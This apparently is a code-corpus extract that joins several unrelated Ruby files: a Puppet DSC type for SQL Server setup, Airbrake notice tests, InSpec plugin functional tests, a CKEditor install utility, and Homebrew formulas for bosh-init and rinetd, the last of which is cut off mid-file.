newparam(:dsc_asbackupdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASBackupDir - Path for Analysis Services backup files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASTempDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_astempdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASTempDir - Path for Analysis Services temp files."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ASConfigDir
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_asconfigdir) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ASConfigDir - Path for Analysis Services config."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: ISSvcAccount
# Type: MSFT_Credential
# IsMandatory: False
# Values: None
newparam(:dsc_issvcaccount) do
def mof_type; 'MSFT_Credential' end
def mof_is_embedded?; true end
desc "ISSvcAccount - Service account for Integration Services service."
validate do |value|
unless value.kind_of?(Hash)
fail("Invalid value '#{value}'. Should be a hash")
end
PuppetX::Dsc::TypeHelpers.validate_MSFT_Credential("ISSvcAccount", value)
end
end
# Name: ISSvcAccountUsername
# Type: string
# IsMandatory: False
# Values: None
newparam(:dsc_issvcaccountusername) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "ISSvcAccountUsername - Output username for the Integration Services service."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
end
end
# Name: BrowserSvcStartupType
# Type: string
# IsMandatory: False
# Values: ["Automatic", "Disabled", "Manual"]
newparam(:dsc_browsersvcstartuptype) do
def mof_type; 'string' end
def mof_is_embedded?; false end
desc "BrowserSvcStartupType - Specifies the startup mode for SQL Server Browser service Valid values are Automatic, Disabled, Manual."
validate do |value|
unless value.kind_of?(String)
fail("Invalid value '#{value}'. Should be a string")
end
unless ['Automatic', 'automatic', 'Disabled', 'disabled', 'Manual', 'manual'].include?(value)
fail("Invalid value '#{value}'. Valid values are Automatic, Disabled, Manual")
end
end
end
def builddepends
pending_relations = super()
PuppetX::Dsc::TypeHelpers.ensure_reboot_relationship(self, pending_relations)
end
end
Puppet::Type.type(:dsc_xsqlserversetup).provide :powershell, :parent => Puppet::Type.type(:base_dsc).provider(:powershell) do
confine :true => (Gem::Version.new(Facter.value(:powershell_version)) >= Gem::Version.new('5.0.10240.16384'))
defaultfor :operatingsystem => :windows
mk_resource_methods
end
| 29.270513 | 138 | 0.640182 |
eddd433578a6248b4778c626f4efd59fa10e2f79 | 16,922 | require File.expand_path '../helper', __FILE__
class NoticeTest < Test::Unit::TestCase
include DefinesConstants
def configure
Airbrake::Configuration.new.tap do |config|
config.api_key = 'abc123def456'
end
end
def build_notice(args = {})
configuration = args.delete(:configuration) || configure
Airbrake::Notice.new(configuration.merge(args))
end
def stub_request(attrs = {})
stub('request', { :parameters => { 'one' => 'two' },
:protocol => 'http',
:host => 'some.host',
:request_uri => '/some/uri',
:session => { :to_hash => { 'a' => 'b' } },
:env => { 'three' => 'four' } }.update(attrs))
end
def assert_accepts_exception_attribute(attribute, args = {}, &block)
exception = build_exception
block ||= lambda { exception.send(attribute) }
value = block.call(exception)
notice_from_exception = build_notice(args.merge(:exception => exception))
assert_equal notice_from_exception.send(attribute),
value,
"#{attribute} was not correctly set from an exception"
notice_from_hash = build_notice(args.merge(attribute => value))
assert_equal notice_from_hash.send(attribute),
value,
"#{attribute} was not correctly set from a hash"
end
def assert_valid_notice_document(document)
xsd_path = URI(XSD_SCHEMA_PATH)
schema = Nokogiri::XML::Schema.new(Net::HTTP.get(xsd_path))
errors = schema.validate(document)
assert errors.empty?, errors.collect{|e| e.message }.join
end
def assert_valid_json(notice)
json_schema = File.expand_path(File.join(File.dirname(__FILE__),"..", "resources", "airbrake_3_0.json"))
errors = JSON::Validator.fully_validate(json_schema, notice)
assert errors.empty?, errors.join
end
def build_backtrace_array
["app/models/user.rb:13:in `magic'",
"app/controllers/users_controller.rb:8:in `index'"]
end
def hostname
`hostname`.chomp
end
def user
Struct.new(:email,:id,:name).
new("[email protected]",1,"Anakin Skywalker")
end
should "call the cleaner on initialization" do
cleaner = stub
cleaner.expects(:clean).returns(stub(:parameters => {}, :cgi_data => {}, :session_data => {}))
Airbrake::Notice.new(:cleaner => cleaner)
end
should "set the api key" do
api_key = 'key'
notice = build_notice(:api_key => api_key)
assert_equal api_key, notice.api_key
end
should "accept a project root" do
project_root = '/path/to/project'
notice = build_notice(:project_root => project_root)
assert_equal project_root, notice.project_root
end
should "accept a component" do
assert_equal 'users_controller', build_notice(:component => 'users_controller').controller
end
should "alias the component as controller" do
assert_equal 'users_controller', build_notice(:controller => 'users_controller').component
assert_equal 'users_controller', build_notice(:component => 'users_controller').controller
end
should "accept a action" do
assert_equal 'index', build_notice(:action => 'index').action
end
should "accept a url" do
url = 'http://some.host/uri'
notice = build_notice(:url => url)
assert_equal url, notice.url
end
should "set the host name" do
notice = build_notice
assert_equal hostname, notice.hostname
end
should "accept a backtrace from an exception or hash" do
array = ["user.rb:34:in `crazy'"]
exception = build_exception
exception.set_backtrace array
backtrace = Airbrake::Backtrace.parse(array)
notice_from_exception = build_notice(:exception => exception)
assert_equal backtrace,
notice_from_exception.backtrace,
"backtrace was not correctly set from an exception"
notice_from_hash = build_notice(:backtrace => array)
assert_equal backtrace,
notice_from_hash.backtrace,
"backtrace was not correctly set from a hash"
end
should "accept user" do
assert_equal user.id, build_notice(:user => user).user.id
assert_equal user.email, build_notice(:user => user).user.email
assert_equal user.name, build_notice(:user => user).user.name
end
should "pass its backtrace filters for parsing" do
backtrace_array = ['my/file/backtrace:3']
exception = build_exception
exception.set_backtrace(backtrace_array)
Airbrake::Backtrace.expects(:parse).with(backtrace_array, {:filters => 'foo'})
Airbrake::Notice.new({:exception => exception, :backtrace_filters => 'foo'})
end
should "set the error class from an exception or hash" do
assert_accepts_exception_attribute :error_class do |exception|
exception.class.name
end
end
should "set the error message from an exception or hash" do
assert_accepts_exception_attribute :error_message do |exception|
"#{exception.class.name}: #{exception.message}"
end
end
should "accept parameters from a request or hash" do
parameters = { 'one' => 'two' }
notice_from_hash = build_notice(:parameters => parameters)
assert_equal notice_from_hash.parameters, parameters
end
should "accept session data from a session[:data] hash" do
data = { 'one' => 'two' }
notice = build_notice(:session => { :data => data })
assert_equal data, notice.session_data
end
should "accept session data from a session_data hash" do
data = { 'one' => 'two' }
notice = build_notice(:session_data => data)
assert_equal data, notice.session_data
end
should "accept an environment name" do
assert_equal 'development', build_notice(:environment_name => 'development').environment_name
end
should "accept CGI data from a hash" do
data = { 'string' => 'value' }
notice = build_notice(:cgi_data => data)
assert_equal data, notice.cgi_data, "should take CGI data from a hash"
end
should "not crash without CGI data" do
assert_nothing_raised do
build_notice
end
end
should "accept notifier information" do
params = { :notifier_name => 'a name for a notifier',
:notifier_version => '1.0.5',
:notifier_url => 'http://notifiers.r.us/download' }
notice = build_notice(params)
assert_equal params[:notifier_name], notice.notifier_name
assert_equal params[:notifier_version], notice.notifier_version
assert_equal params[:notifier_url], notice.notifier_url
end
should "set sensible defaults without an exception" do
backtrace = Airbrake::Backtrace.parse(build_backtrace_array)
notice = build_notice(:backtrace => build_backtrace_array)
assert_equal 'Notification', notice.error_message
assert_array_starts_with backtrace.lines, notice.backtrace.lines
assert_equal({}, notice.parameters)
assert_equal({}, notice.session_data)
end
should "use the caller as the backtrace for an exception without a backtrace" do
filters = Airbrake::Configuration.new.backtrace_filters
backtrace = Airbrake::Backtrace.parse(caller, :filters => filters)
notice = build_notice(:exception => StandardError.new('error'), :backtrace => nil)
assert_array_starts_with backtrace.lines, notice.backtrace.lines
end
context "a Notice turned into JSON" do
setup do
@exception = build_exception
@notice = build_notice({
:notifier_name => 'a name',
:notifier_version => '1.2.3',
:notifier_url => 'http://some.url/path',
:exception => @exception,
:controller => "controller",
:action => "action",
:url => "http://url.com",
:parameters => { "paramskey" => "paramsvalue",
"nestparentkey" => { "nestkey" => "nestvalue" } },
:session_data => { "sessionkey" => "sessionvalue" },
:cgi_data => { "cgikey" => "cgivalue" },
:project_root => "RAILS_ROOT",
:environment_name => "RAILS_ENV"
})
@json = @notice.to_json
end
should "validate against the JSON schema" do
assert_valid_json @json
end
end
context "a Notice turned into XML" do
setup do
Airbrake.configure do |config|
config.api_key = "1234567890"
end
@exception = build_exception
@notice = build_notice({
:notifier_name => 'a name',
:notifier_version => '1.2.3',
:notifier_url => 'http://some.url/path',
:exception => @exception,
:controller => "controller",
:action => "action",
:url => "http://url.com",
:parameters => { "paramskey" => "paramsvalue",
"nestparentkey" => { "nestkey" => "nestvalue" } },
:session_data => { "sessionkey" => "sessionvalue" },
:cgi_data => { "cgikey" => "cgivalue" },
:project_root => "RAILS_ROOT",
:environment_name => "RAILS_ENV"
})
@xml = @notice.to_xml
@document = Nokogiri::XML::Document.parse(@xml)
end
should "validate against the XML schema" do
assert_valid_notice_document @document
end
should "serialize a Notice to XML when sent #to_xml" do
assert_valid_node(@document, "//api-key", @notice.api_key)
assert_valid_node(@document, "//notifier/name", @notice.notifier_name)
assert_valid_node(@document, "//notifier/version", @notice.notifier_version)
assert_valid_node(@document, "//notifier/url", @notice.notifier_url)
assert_valid_node(@document, "//error/class", @notice.error_class)
assert_valid_node(@document, "//error/message", @notice.error_message)
assert_valid_node(@document, "//error/backtrace/line/@number", @notice.backtrace.lines.first.number)
assert_valid_node(@document, "//error/backtrace/line/@file", @notice.backtrace.lines.first.file)
assert_valid_node(@document, "//error/backtrace/line/@method", @notice.backtrace.lines.first.method_name)
assert_valid_node(@document, "//request/url", @notice.url)
assert_valid_node(@document, "//request/component", @notice.controller)
assert_valid_node(@document, "//request/action", @notice.action)
assert_valid_node(@document, "//request/params/var/@key", "paramskey")
assert_valid_node(@document, "//request/params/var", "paramsvalue")
assert_valid_node(@document, "//request/params/var/@key", "nestparentkey")
assert_valid_node(@document, "//request/params/var/var/@key", "nestkey")
assert_valid_node(@document, "//request/params/var/var", "nestvalue")
assert_valid_node(@document, "//request/session/var/@key", "sessionkey")
assert_valid_node(@document, "//request/session/var", "sessionvalue")
assert_valid_node(@document, "//request/cgi-data/var/@key", "cgikey")
assert_valid_node(@document, "//request/cgi-data/var", "cgivalue")
assert_valid_node(@document, "//server-environment/project-root", "RAILS_ROOT")
assert_valid_node(@document, "//server-environment/environment-name", "RAILS_ENV")
assert_valid_node(@document, "//server-environment/hostname", hostname)
end
end
should "not send empty request data" do
notice = build_notice
assert_nil notice.url
assert_nil notice.controller
assert_nil notice.action
xml = notice.to_xml
document = Nokogiri::XML.parse(xml)
assert_nil document.at('//request/url')
assert_nil document.at('//request/component')
assert_nil document.at('//request/action')
assert_valid_notice_document document
end
%w(url controller action).each do |var|
should "send a request if #{var} is present" do
notice = build_notice(var.to_sym => 'value')
xml = notice.to_xml
document = Nokogiri::XML.parse(xml)
assert_not_nil document.at('//request')
end
end
%w(parameters cgi_data session_data).each do |var|
should "send a request if #{var} is present" do
notice = build_notice(var.to_sym => { 'key' => 'value' })
xml = notice.to_xml
document = Nokogiri::XML.parse(xml)
assert_not_nil document.at('//request')
end
end
should "not ignore an exception not matching ignore filters" do
notice = build_notice(:error_class => 'ArgumentError',
:ignore => ['Argument'],
:ignore_by_filters => [lambda { |n| false }])
assert !notice.ignore?
end
should "ignore an exception with a matching error class" do
notice = build_notice(:error_class => 'ArgumentError',
:ignore => [ArgumentError])
assert notice.ignore?
end
should "ignore an exception with a matching error class name" do
notice = build_notice(:error_class => 'ArgumentError',
:ignore => ['ArgumentError'])
assert notice.ignore?
end
should "ignore an exception with a matching filter" do
filter = lambda {|notice| notice.error_class == 'ArgumentError' }
notice = build_notice(:error_class => 'ArgumentError',
:ignore_by_filters => [filter])
assert notice.ignore?
end
should "not raise without an ignore list" do
notice = build_notice(:ignore => nil, :ignore_by_filters => nil)
assert_nothing_raised do
notice.ignore?
end
end
ignored_error_classes = Airbrake::Configuration::IGNORE_DEFAULT
ignored_error_classes.each do |ignored_error_class|
should "ignore #{ignored_error_class} error by default" do
notice = build_notice(:error_class => ignored_error_class)
assert notice.ignore?
end
end
should "act like a hash" do
notice = build_notice(:error_message => 'some message')
assert_equal notice.error_message, notice[:error_message]
end
should "return params on notice[:request][:params]" do
params = { 'one' => 'two' }
notice = build_notice(:parameters => params)
assert_equal params, notice[:request][:params]
end
should "ensure #to_hash is called on objects that support it" do
assert_nothing_raised do
build_notice(:session => { :object => stub(:to_hash => {}) })
end
end
should "ensure #to_ary is called on objects that support it" do
assert_nothing_raised do
build_notice(:session => { :object => stub(:to_ary => {}) })
end
end
should "extract data from a rack environment hash" do
url = "https://subdomain.happylane.com:100/test/file.rb?var=value&var2=value2"
parameters = { 'var' => 'value', 'var2' => 'value2' }
env = Rack::MockRequest.env_for(url)
notice = build_notice(:rack_env => env)
assert_equal url, notice.url
assert_equal parameters, notice.parameters
assert_equal 'GET', notice.cgi_data['REQUEST_METHOD']
end
should "show a nice warning when rack environment exceeds rack keyspace" do
# simulate exception for too big query
Rack::Request.any_instance.expects(:params).raises(RangeError.new("exceeded available parameter key space"))
url = "https://subdomain.happylane.com:100/test/file.rb?var=x"
env = Rack::MockRequest.env_for(url)
notice = build_notice(:rack_env => env)
assert_equal url, notice.url
assert_equal({:message => "failed to call params on Rack::Request -- exceeded available parameter key space"}, notice.parameters)
assert_equal 'GET', notice.cgi_data['REQUEST_METHOD']
end
should "extract data from a rack environment hash with action_dispatch info" do
params = { 'controller' => 'users', 'action' => 'index', 'id' => '7' }
env = Rack::MockRequest.env_for('/', { 'action_dispatch.request.parameters' => params })
notice = build_notice(:rack_env => env)
assert_equal params, notice.parameters
assert_equal params['controller'], notice.component
assert_equal params['action'], notice.action
end
should "extract session data from a rack environment" do
session_data = { 'something' => 'some value' }
env = Rack::MockRequest.env_for('/', 'rack.session' => session_data)
notice = build_notice(:rack_env => env)
assert_equal session_data, notice.session_data
end
should "prefer passed session data to rack session data" do
session_data = { 'something' => 'some value' }
env = Rack::MockRequest.env_for('/')
notice = build_notice(:rack_env => env, :session_data => session_data)
assert_equal session_data, notice.session_data
end
should "prefer passed error_message to exception message" do
exception = build_exception
notice = build_notice(:exception => exception,:error_message => "Random ponies")
assert_equal "BacktracedException: Random ponies", notice.error_message
end
end
| 35.55042 | 133 | 0.660206 |
e8a58760382ebf00b462b2be0e08a16c90ae8c24 | 13,460 | # Functional tests related to plugin facility
require 'functional/helper'
#=========================================================================================#
# Loader Errors
#=========================================================================================#
describe 'plugin loader' do
include FunctionalHelper
it 'handles an unloadable plugin correctly' do
outcome = inspec_with_env('version', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'plugin_error_on_load'))
outcome.exit_status.must_equal 2
outcome.stdout.must_include('ERROR', 'Have an error on stdout')
outcome.stdout.must_include('Could not load plugin inspec-divide-by-zero', 'Name the plugin in the stdout error')
outcome.stdout.wont_include('ZeroDivisionError', 'No stacktrace in error by default')
outcome.stdout.must_include('Errors were encountered while loading plugins', 'Friendly message in error')
outcome.stdout.must_include('Plugin name: inspec-divide-by-zero', 'Plugin named in error')
outcome.stdout.must_include('divided by 0', 'Exception message in error')
outcome = inspec_with_env('version --debug', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'plugin_error_on_load'))
outcome.exit_status.must_equal 2
outcome.stdout.must_include('ZeroDivisionError', 'Include stacktrace in error with --debug')
end
end
#=========================================================================================#
# Disabling Plugins
#=========================================================================================#
describe 'when disabling plugins' do
include FunctionalHelper
describe 'when disabling the core plugins' do
it 'should not be able to use core-provided commands' do
run_result = run_inspec_process('--disable-core-plugins habitat')
run_result.stderr.must_include 'Could not find command "habitat".'
# One might think that this should be code 2 (plugin error)
# But because the core plugins are not loaded, 'habitat' is not
# a known command, which makes it a usage error, code 1.
run_result.exit_status.must_equal 1
end
end
describe 'when disabling the user plugins' do
it 'should not be able to use user commands' do
run_result = run_inspec_process('--disable-user-plugins meaningoflife answer', env: { INSPEC_CONFIG_DIR: File.join(config_dir_path, 'meaning_by_path') })
run_result.stderr.must_include 'Could not find command "meaningoflife"'
run_result.exit_status.must_equal 1
end
end
end
#=========================================================================================#
# CliCommand plugin type
#=========================================================================================#
describe 'cli command plugins' do
include FunctionalHelper
it 'is able to respond to a plugin-based cli subcommand' do
outcome = inspec_with_env('meaningoflife answer', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'meaning_by_path'))
outcome.stderr.wont_include 'Could not find command "meaningoflife"'
outcome.stderr.must_equal ''
outcome.stdout.must_equal ''
outcome.exit_status.must_equal 42
end
it 'is able to respond to [help subcommand] invocations' do
outcome = inspec_with_env('help meaningoflife', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'meaning_by_path'))
outcome.exit_status.must_equal 0
outcome.stderr.must_equal ''
outcome.stdout.must_include 'inspec meaningoflife answer'
# Full text:
# 'Exits immediately with an exit code reflecting the answer to life the universe, and everything.'
# but Thor will ellipsify based on the terminal width
outcome.stdout.must_include 'Exits immediately'
end
# This is an important test; usually CLI plugins are only activated when their name is present in ARGV
it 'includes plugin-based cli commands in top-level help' do
outcome = inspec_with_env('help', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'meaning_by_path'))
outcome.exit_status.must_equal 0
outcome.stdout.must_include 'inspec meaningoflife'
end
end
#=========================================================================================#
# inspec plugin command
#=========================================================================================#
# See lib/plugins/inspec-plugin-manager-cli/test
#=========================================================================================#
# Plugin Disable Messaging
#=========================================================================================#
describe 'disable plugin usage message integration' do
include FunctionalHelper
it "mentions the --disable-{user,core}-plugins options" do
outcome = inspec('help')
['--disable-user-plugins', '--disable-core-plugins'].each do |option|
outcome.stdout.must_include(option)
end
end
end
#=========================================================================================#
# DSL Plugin Support
#=========================================================================================#
describe 'DSL plugin types support' do
include PluginFunctionalHelper
let(:fixture_path) { File.join(profile_path, 'dsl_plugins', 'controls', profile_file)}
let(:dsl_plugin_path) { File.join(mock_path, 'plugins', 'inspec-dsl-test', 'lib', 'inspec-dsl-test.rb')}
let(:run_result) { run_inspec_with_plugin("exec #{fixture_path}", plugin_path: dsl_plugin_path) }
let(:json_result) { run_result.payload.json }
describe 'outer profile dsl plugin type support' do
let(:profile_file) { 'outer_profile_dsl.rb' }
it 'works correctly with outer_profile dsl extensions' do
run_result.stderr.must_equal ''
# The outer_profile_dsl.rb file has control-01, then a call to favorite_grain
# (which generates a control), then control-03.
# If the plugin exploded, we'd see control-01 but not control-03
controls = json_result['profiles'][0]['controls']
controls.count.must_equal 3
# We expect the second controls id to be 'sorghum'
# (this is the functionality of the outer_profile_dsl we installed)
generated_control = json_result['profiles'][0]['controls'][1]
generated_control['id'].must_equal 'sorghum'
generated_control['results'][0]['status'].must_equal 'passed'
end
end
describe 'control dsl plugin type support' do
let(:profile_file) { 'control_dsl.rb' }
it 'works correctly with control dsl extensions' do
run_result.stderr.must_equal ''
# The control_dsl.rb file has one control, with a describe-01, then a call to favorite_fruit, then describe-02
# If the plugin exploded, we'd see describe-01 but not describe-02
results = json_result['profiles'][0]['controls'][0]['results']
results.count.must_equal 2
# We expect the descriptions to include that the favorite fruit is banana
# (this is the functionality of the control_dsl we installed)
first_description_section = json_result['profiles'][0]['controls'][0]['descriptions'].first
first_description_section.wont_be_nil
first_description_section['label'].must_equal 'favorite_fruit'
first_description_section['data'].must_equal 'Banana'
end
end
describe 'describe dsl plugin type support' do
let(:profile_file) { 'describe_dsl.rb' }
it 'works correctly with describe dsl extensions' do
run_result.stderr.must_equal ''
# The describe_dsl.rb file has one control, with
# describe-01, describe-02 which contains a call to favorite_vegetable, then describe-03
# If the plugin exploded, we'd see describe-01 but not describe-02
results = json_result['profiles'][0]['controls'][0]['results']
results.count.must_equal 3
# We expect the description of describe-02 to include the word aubergine
# (this is the functionality of the describe_dsl we installed)
second_result = json_result['profiles'][0]['controls'][0]['results'][1]
second_result.wont_be_nil
second_result['code_desc'].must_include 'aubergine'
end
end
describe 'test dsl plugin type support' do
let(:profile_file) { 'test_dsl.rb' }
it 'works correctly with test dsl extensions' do
run_result.stderr.must_equal ''
# The test_dsl.rb file has one control, with
# describe-01, describe-02 which contains a call to favorite_legume, then describe-03
# If the plugin exploded, we'd see describe-01 but not describe-02
results = json_result['profiles'][0]['controls'][0]['results']
results.count.must_equal 3
# I spent a while trying to find a way to get the test to alter its name;
# that won't work for various setup reasons.
# So, it just throws an exception with the word 'edemame' in it.
second_result = json_result['profiles'][0]['controls'][0]['results'][1]
second_result.wont_be_nil
second_result['status'].must_equal 'failed'
second_result['message'].must_include 'edemame'
end
end
describe 'resource dsl plugin type support' do
let(:profile_file) { 'unused' }
it 'works correctly with test dsl extensions' do
# We have to build a custom command line - need to load the whole profile,
# so the libraries get loaded.
cmd = 'exec '
cmd += File.join(profile_path, 'dsl_plugins')
cmd += ' --controls=/^rdsl-control/ '
run_result = run_inspec_with_plugin(cmd, plugin_path: dsl_plugin_path)
run_result.stderr.must_equal ''
# We should have three controls; 01 and 03 just do a string match.
# 02 uses the custom resource, which relies on calls to the resource DSL.
# If the plugin exploded, we'd see rdsl-control-01 but not rdsl-control-02
json_result = run_result.payload.json
results = json_result['profiles'][0]['controls']
results.count.must_equal 3
# Control 2 has 2 describes; one uses a simple explicit matcher,
# while the second uses a matcher defined via a macro provided by the resource DSL.
control2_results = results[1]['results']
control2_results[0]['status'].must_equal 'passed'
control2_results[0]['code_desc'].must_include 'favorite_berry'
control2_results[0]['code_desc'].must_include 'blendable'
control2_results[1]['status'].must_equal 'passed'
control2_results[1]['code_desc'].must_include 'favorite_berry'
control2_results[1]['code_desc'].must_include 'have drupals'
end
end
end
#=========================================================================================#
# Train Plugin Support
#=========================================================================================#
describe 'train plugin support' do
describe 'when a train plugin is installed' do
include FunctionalHelper
it 'can run inspec detect against a URL target' do
outcome = inspec_with_env('detect -t test-fixture://', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'train-test-fixture'))
outcome.exit_status.must_equal(0)
outcome.stderr.must_be_empty
lines = outcome.stdout.split("\n")
lines.grep(/Name/).first.must_include('test-fixture')
lines.grep(/Name/).first.wont_include('train-test-fixture')
lines.grep(/Release/).first.must_include('0.1.0')
lines.grep(/Families/).first.must_include('os')
lines.grep(/Families/).first.must_include('windows')
lines.grep(/Families/).first.must_include('unix')
lines.grep(/Arch/).first.must_include('mock')
end
it 'can run inspec detect against a test-fixture backend' do
outcome = inspec_with_env('detect -b test-fixture', INSPEC_CONFIG_DIR: File.join(config_dir_path, 'train-test-fixture'))
outcome.exit_status.must_equal(0)
outcome.stderr.must_be_empty
lines = outcome.stdout.split("\n")
lines.grep(/Name/).first.must_include('test-fixture')
lines.grep(/Name/).first.wont_include('train-test-fixture')
lines.grep(/Release/).first.must_include('0.1.0')
lines.grep(/Families/).first.must_include('os')
lines.grep(/Families/).first.must_include('windows')
lines.grep(/Families/).first.must_include('unix')
lines.grep(/Arch/).first.must_include('mock')
end
it 'can run inspec shell and read a file' do
outcome = inspec_with_env("shell -t test-fixture:// -c 'file(\"any-path\").content'", INSPEC_CONFIG_DIR: File.join(config_dir_path, 'train-test-fixture'))
outcome.exit_status.must_equal(0)
outcome.stderr.must_be_empty
outcome.stdout.chomp.must_equal 'Lorem Ipsum'
end
it 'can run inspec shell and run a command' do
outcome = inspec_with_env("shell -t test-fixture:// -c 'command(\"echo hello\").exit_status'", INSPEC_CONFIG_DIR: File.join(config_dir_path, 'train-test-fixture'))
outcome.exit_status.must_equal(0)
outcome.stderr.must_be_empty
outcome.stdout.chomp.must_equal "17"
outcome = inspec_with_env("shell -t test-fixture:// -c 'command(\"echo hello\").stdout'", INSPEC_CONFIG_DIR: File.join(config_dir_path, 'train-test-fixture'))
outcome.exit_status.must_equal(0)
outcome.stderr.must_be_empty
outcome.stdout.chomp.must_equal "Mock Command Result stdout"
end
end
end
| 47.561837 | 170 | 0.639376 |
5d256a3b7559720cafe0cb622a00c0b19c8b1033 | 599 | class BoshInit < Formula
desc "creates and updates the Director VM"
homepage "https://github.com/cloudfoundry/bosh-init"
version "0.0.99"
url "https://s3.amazonaws.com/bosh-init-artifacts/bosh-init-#{version}-darwin-amd64"
sha256 "3a2f63493ecede7b9d99d46ffd0c99d5c40edd44db6ddd97ffcc52c56b4ebb89"
depends_on :arch => :x86_64
conflicts_with "pivotal/tap/bosh-init", :because => "the Pivotal tap ships an older bosh-init version and is outdated"
def install
bin.install "bosh-init-#{version}-darwin-amd64" => "bosh-init"
end
test do
system "#{bin}/bosh-init"
end
end
| 29.95 | 120 | 0.734558 |
b9bf013f5f79bc09f8021fc70284279d287afae7 | 4,034 | require 'fileutils'
module CkeditorFileUtils
CKEDITOR_INSTALL_DIRECTORY = File.join(::Rails.root.to_s, '/public/javascripts/ckeditor/')
PLUGIN_INSTALL_DIRECTORY = File.join(::Rails.root.to_s, '/vendor/plugins/easy-ckeditor/')
def CkeditorFileUtils.recursive_copy(options)
source = options[:source]
dest = options[:dest]
logging = options[:logging].nil? ? true : options[:logging]
Dir.foreach(source) do |entry|
next if entry =~ /^\./
if File.directory?(File.join(source, entry))
unless File.exist?(File.join(dest, entry))
if logging
puts "Creating directory #{entry}..."
end
FileUtils.mkdir File.join(dest, entry)#, :noop => true#, :verbose => true
end
recursive_copy(:source => File.join(source, entry),
:dest => File.join(dest, entry),
:logging => logging)
else
if logging
puts " Installing file #{entry}..."
end
FileUtils.cp File.join(source, entry), File.join(dest, entry)#, :noop => true#, :verbose => true
end
end
end
def CkeditorFileUtils.backup_existing
source = File.join(::Rails.root.to_s,'/public/javascripts/ckeditor')
dest = File.join(::Rails.root.to_s,'/public/javascripts/ckeditor_bck')
FileUtils.rm_r(dest) if File.exists? dest
FileUtils.mv source, dest
end
def CkeditorFileUtils.copy_configuration
return if Rails.env.production?
# need to copy over the code if it doesn't already exist
config_file = File.join(::Rails.root.to_s, '/vendor/plugins/easy-ckeditor/public/javascripts/ckcustom.js')
dest = File.join(::Rails.root.to_s, '/public/javascripts/ckcustom.js')
backup_config = File.join(::Rails.root.to_s, '/public/javascripts/ckeditor/config.bak')
config_symlink = File.join(::Rails.root.to_s, '/public/javascripts/ckeditor/config.js')
FileUtils.cp(config_file, dest) unless File.exist?(dest)
if File.exist?(config_symlink)
unless File.symlink?(config_symlink)
FileUtils.rm(backup_config) if File.exist?(backup_config)
FileUtils.mv(config_symlink,backup_config)
FileUtils.cp(dest, config_symlink)
end
else
FileUtils.cp(dest, config_symlink)
end
end
def CkeditorFileUtils.create_uploads_directory
uploads = File.join(::Rails.root.to_s, '/public/uploads')
FileUtils.mkdir(uploads) unless File.exist?(uploads)
end
def CkeditorFileUtils.install(log)
directory = File.join(::Rails.root.to_s, '/vendor/plugins/easy-ckeditor/')
source = File.join(directory,'/public/javascripts/ckeditor/')
FileUtils.mkdir(CKEDITOR_INSTALL_DIRECTORY)
# recursively copy all our files over
recursive_copy(:source => source, :dest => CKEDITOR_INSTALL_DIRECTORY, :logging => log)
# create the upload directories
create_uploads_directory
end
##################################################################
# remove the existing install (if any)
#
def CkeditorFileUtils.destroy
if File.exist?(CKEDITOR_INSTALL_DIRECTORY)
FileUtils.rm_r(CKEDITOR_INSTALL_DIRECTORY)
FileUtils.rm(File.join(::Rails.root.to_s, '/public/javascripts/ckcustom.js')) \
if File.exist? File.join(::Rails.root.to_s, '/public/javascripts/ckcustom.js')
end
end
def CkeditorFileUtils.rm_plugin
if File.exist?(PLUGIN_INSTALL_DIRECTORY)
FileUtils.rm_r(PLUGIN_INSTALL_DIRECTORY)
end
end
def CkeditorFileUtils.destroy_and_install
CkeditorFileUtils.destroy
# now install fresh
install(true)
# copy over the config file (unless it exists)
copy_configuration
end
def CkeditorFileUtils.check_and_install
# check to see if already installed, if not install
unless File.exist?(CKEDITOR_INSTALL_DIRECTORY)
install(false)
end
# copy over the config file (unless it exists)
copy_configuration
end
end
| 36.672727 | 111 | 0.660635 |
e94b44eba89fe6b9387dacd15d0a85a399fe72ab | 494 | require 'rails_helper'
RSpec.shared_examples_for "work_metadata" do
describe "metadata" do
let(:fields) do
[:unit, :staff_notes, :abstract, :collection_identifier, :sub_collection,
:spatial, :alternative, :temporal, :format, :provenance, :work_type,
:preservation_level, :preservation_level_rationale,
:bibliographic_citation, :handle, :archival_unit]
end
it "has additional metadata" do
expect(subject).to respond_to(*fields)
end
end
end
| 29.058824 | 79 | 0.710526 |
38e8b4ac4fcfb12579899bb57e4fbf7f35db9c37 | 328 | def Threes(number)
while number > 1
if number%3 == 0
p number.to_s + " 0"
number = number/3
else
if (number+1)%3 == 0
p number.to_s + " 1"
number = (number+1)/3
elsif (number-1)%3 == 0
p number.to_s + " -1"
number = (number-1)/3
end
end
end
p number.to_s
end
Threes(100)
Threes(31337357) | 16.4 | 26 | 0.57622 |
79504d378d945c9411a265ef3889aef23673aa94 | 1,388 | class Rinetd < Formula
desc "Internet TCP redirection server"
homepage "https://www.boutell.com/rinetd/"
url "https://www.boutell.com/rinetd/http/rinetd.tar.gz"
version "0.62"
sha256 "0c68d27c5bd4b16ce4f58a6db514dd6ff37b2604a88b02c1dfcdc00fc1059898"
bottle do
rebuild 1
# sha256 "fe8636ee77c709a3a2df599058c59d7cdbaaa6505fa42e9bac143af95c0c835c" => :mojave
sha256 "44750b361b999c09a17a2bc8c576585a790c42bee66abe4df191b7b0cafe304c" => :high_sierra
sha256 "7a52fc5d01d83fd186626a6cff981e65da8943186973a4314efa2c561480325e" => :sierra
sha256 "30c72c1a5764aa20e7d8e232bcfe979f138e5029966c43468a886481304c39cb" => :el_capitan
end
def install
inreplace "rinetd.c" do |s|
s.gsub! "/etc/rinetd.conf", "#{etc}/rinetd.conf"
